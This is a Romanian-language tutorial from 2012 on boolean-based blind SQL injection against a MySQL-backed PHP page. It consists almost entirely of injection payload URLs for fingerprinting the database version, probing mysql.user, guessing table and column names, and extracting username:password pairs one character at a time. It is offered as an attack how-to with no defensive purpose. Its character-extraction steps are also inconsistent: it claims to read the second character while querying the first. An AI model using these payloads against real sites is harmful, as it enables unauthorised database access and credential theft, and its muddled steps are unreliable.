Blind SQLi Injection .Slacker 30 August 2012 Sa luam ca exemplu: http://www.site.com/news.php?id=5 http://www.site.com/news.php?id=5 and 1=1 <= unde 1=1 este adevarat http://www.site.com/news.php?id=5 and 1=2 <= unde 1=2 este fals 1. MySQL Pentru blind vom folosii substring. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4 Inlocuim 4 cu 5 daca query-ul este adevarat. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5 2. Subselect Cand nu functioneaza vom folosii subselect. http://www.site.com/news.php?id=5 and (select 1)=1 Acum vom vedea daca avem acces la mysql.user http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1 Daca pagina se incarca in mod normal, avem acces la mysql.user 3. Verificarea numelui tabelelor si coloanelor http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (cu limit 0,1 query-ul rezulta un rand de date din cauza subselect-ului. Daca pagina se incarca in mod normal, fara continut lipsa, exista. Daca avem FALSE lipsete un articol schimbam doar numele tabelului pana cand il ghicim. Sa zicem ca numele tabelului cu utilizatori este users. Acum avem nevoie de numele coloanei. http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1 Daca pagina se incarca in mod normal, inseamna ca numele coloanei este Password. Avem o coloana cu parola. 4. Extragerea datelor din baza de date Daca am gasit tabelul cu utilizatori si coloana, parola si numele de utilizator, vom extragere caracterele din lista. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80 Convertim caracterul 1 in valoare ASCII ( ASCII() ) Vom incerca sa ajungem la FALSE. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95 Am ajuns la TRUE si trebuie sa pastram incrementarea. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98 Avem TRUE din nou. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 Acum avem FALSE. Primul caracter din USERNAME este char(99) Convertim in ASCII: char(99) este scris 'c'. Sa verificam al doilea caracter: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99 Am schimbat ,1,1 in ,2,1 pentru a obtine al doilea caracter. Acum ne intorcem la caracterul 1: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99 Pagina ar trebuii sa se incarce in mod normal deci este TRUE. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107 Este fals si reducem numarul: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104 Este adevarat si ridicam numarul: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105 Fals. Deci al doilea caracter este char(105) si este 'i', si avem 'ci' in masura atunci ca incrementam pana la sfarsit atunci cand >0 returneaza fals (FALSE) stim ca ajungem la final. Sper ca am ajutat cu acest tutorial